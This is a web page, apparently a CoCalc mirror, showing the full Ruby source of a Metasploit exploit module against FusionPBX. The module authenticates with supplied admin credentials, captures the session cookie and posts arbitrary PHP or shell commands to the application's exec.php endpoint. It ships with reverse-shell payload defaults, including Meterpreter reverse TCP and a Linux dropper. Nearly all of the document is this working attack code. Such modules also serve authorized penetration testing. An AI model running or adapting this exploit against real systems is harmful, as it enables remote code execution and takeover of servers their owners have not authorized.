Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
31956 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'FusionPBX Command exec.php Command Execution',
17
'Description' => %q{
18
This module uses administrative functionality available in FusionPBX
19
to gain a shell.
20
21
The Command section of the application permits users with `exec_view`
22
permissions, or superadmin permissions, to execute arbitrary system
23
commands, or arbitrary PHP code, as the web server user.
24
25
This module has been tested successfully on FusionPBX version
26
4.4.1 on Ubuntu 19.04 (x64).
27
},
28
'License' => MSF_LICENSE,
29
'Author' => ['bcoles'],
30
'References' => [
31
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
32
],
33
'Targets' => [
34
[
35
'Automatic (PHP In-Memory)',
36
{
37
'Platform' => 'php',
38
'Arch' => ARCH_PHP,
39
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
40
'Type' => :php_memory
41
}
42
],
43
[
44
'Automatic (Unix In-Memory)',
45
{
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
49
'Type' => :unix_memory
50
}
51
],
52
[
53
'Automatic (Linux Dropper)',
54
{
55
'Platform' => 'linux',
56
'Arch' => [ARCH_X86, ARCH_X64],
57
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
58
'Type' => :linux_dropper
59
}
60
]
61
],
62
'Privileged' => false,
63
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
64
'DisclosureDate' => '2019-11-02',
65
'DefaultTarget' => 0,
66
'Notes' => {
67
'Reliability' => UNKNOWN_RELIABILITY,
68
'Stability' => UNKNOWN_STABILITY,
69
'SideEffects' => UNKNOWN_SIDE_EFFECTS
70
}
71
)
72
)
73
register_options [
74
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
75
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
76
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
77
]
78
end
79
80
def login(user, pass)
81
vprint_status "Authenticating as user '#{user}'"
82
83
vars_post = {
84
username: user,
85
password: pass,
86
path: ''
87
}
88
89
res = send_request_cgi({
90
'method' => 'POST',
91
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
92
'vars_post' => vars_post
93
})
94
95
unless res
96
fail_with Failure::Unreachable, 'Connection failed'
97
end
98
99
if res.code == 302 && res.headers['location'].include?('login.php')
100
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
101
end
102
103
unless res.code == 200
104
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
105
end
106
107
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
108
109
unless cookie
110
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
111
end
112
113
print_good "Authenticated as user '#{user}'"
114
115
cookie
116
end
117
118
def check
119
res = send_request_cgi({
120
'uri' => normalize_uri(target_uri.path)
121
})
122
123
unless res
124
vprint_error 'Connection failed'
125
return CheckCode::Unknown
126
end
127
128
if res.body.include?('FusionPBX')
129
return CheckCode::Detected
130
end
131
132
CheckCode::Safe
133
end
134
135
def execute_command(cmd, opts = {})
136
vars_post = {
137
handler: 'php',
138
table_name: '',
139
sql_type: '',
140
id: '',
141
cmd: cmd
142
}
143
144
case opts[:handler]
145
when 'php'
146
vars_post[:handler] = 'php'
147
when 'shell'
148
vars_post[:handler] = 'shell'
149
when 'switch'
150
vars_post[:handler] = 'switch'
151
vars_post[:cmd] = "bg_system #{cmd}"
152
else
153
vars_post[:handler] = 'shell'
154
end
155
156
res = send_request_cgi({
157
'method' => 'POST',
158
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),
159
'cookie' => "PHPSESSID=#{@cookie}",
160
'vars_post' => vars_post
161
}, 5)
162
163
unless res
164
return if session_created?
165
166
fail_with Failure::Unreachable, 'Connection failed'
167
end
168
169
unless res.code == 200
170
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
171
end
172
173
if res.body.include? 'access denied'
174
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
175
end
176
177
res
178
end
179
180
def exploit
181
unless check == CheckCode::Detected
182
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
183
end
184
185
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
186
187
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
188
189
case target['Type']
190
when :php_memory
191
execute_command(payload.encoded, handler: 'php')
192
when :unix_memory
193
execute_command(payload.encoded, handler: 'shell')
194
when :linux_dropper
195
execute_cmdstager(linemax: 1_500, handler: 'shell')
196
end
197
end
198
end
199
200